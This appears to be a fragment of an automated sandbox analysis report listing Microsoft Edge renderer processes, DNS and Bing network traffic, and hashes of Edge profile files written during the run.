"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,17375494314450387044,7750196343702856239,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,17375494314450387044,7750196343702856239,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,17375494314450387044,7750196343702856239,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5052 /prefetch:1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| NL | 23.62.61.97:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | 4158365912175436289496136e7912c2 |
| SHA1 | 813d11f772b1cfe9ceac2bf37f4f741e5e8fbe59 |
| SHA256 | 354de4b033ba6e4d85f94d91230cb8501f62e0a4e302cd4076c7e0ad73bedbd1 |
| SHA512 | 74b4f7b24ad4ea395f3a4cd8dbfae54f112a7c87bce3d286ee5161f6b63d62dfa19bb0d96bb7ed1c6d925f5697a2580c25023d5052c6a09992e6fd9dd49ea82b |
\??\pipe\LOCAL\crashpad_1712_WRJZWNRIZYFZRHWM
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | ce4c898f8fc7601e2fbc252fdadb5115 |
| SHA1 | 01bf06badc5da353e539c7c07527d30dccc55a91 |
| SHA256 | bce2dfaa91f0d44e977e0f79c60e64954a7b9dc828b0e30fbaa67dbe82f750aa |
| SHA512 | 80fff4c722c8d3e69ec4f09510779b7e3518ae60725d2d36903e606a27ec1eaedbdbfac5b662bf2c19194c572ccf0125445f22a907b329ad256e6c00b9cf032c |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | 6ff7a71a9cf3348caf83ba69ae05f6f7 |
| SHA1 | 4d99034e30d1d636b4db13d4dac8ba13b1f5a8b1 |
| SHA256 | fdcd2d6855f8bb7b439549e6db812015874c918c60910ad09c71f8c2a8f08ad8 |
| SHA512 | 19ff1e8ac496dba3939f6abc93dca55edb97c7481c802113689ded821bf5d7b09836f2df7f0a5d4810603ad0d16e31d10a7951e2e23b618fb5c1a1060684e508 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
| MD5 | 007f08cf181866c68c2f48541c77fe2f |
| SHA1 | 5238878aff3a1ff40c08df67ed7b0ee6fc0477ec |
| SHA256 | ad6d83457f925debe8207b15dfbfb5ec198ac5c931ba704b84c832bdd117b42a |
| SHA512 | 03f4ef14e1da25ec11d7f1a9a13300e2fad48cd1f4ba30400e2ea54602bb6cc8e53e98a639bc14a808466d60ae15e81ba2e2da72c1bc9183c202dc76e186a170 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | fa9e6718150ecc0be5ca3e71fd8e2977 |
| SHA1 | 8ec6f4daa7d17ba677e2ce4e297a01832ece0960 |
| SHA256 | 22dc7db8beecad1006c41b6ea3b868be7e5c11baf0b6a25b361990bc3d1c27f1 |
| SHA512 | b7fef0aa37e3228c1c94c3b7d70c53843ed3d0ebe28a69d56f3f41edde1e97bbd4184f9e452631aac6d17ddbabffdc73a27eb2c800f94d5f029f61cf171873d5 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1
| MD5 | f50f89a0a91564d0b8a211f8921aa7de |
| SHA1 | 112403a17dd69d5b9018b8cede023cb3b54eab7d |
| SHA256 | b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec |
| SHA512 | bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58 |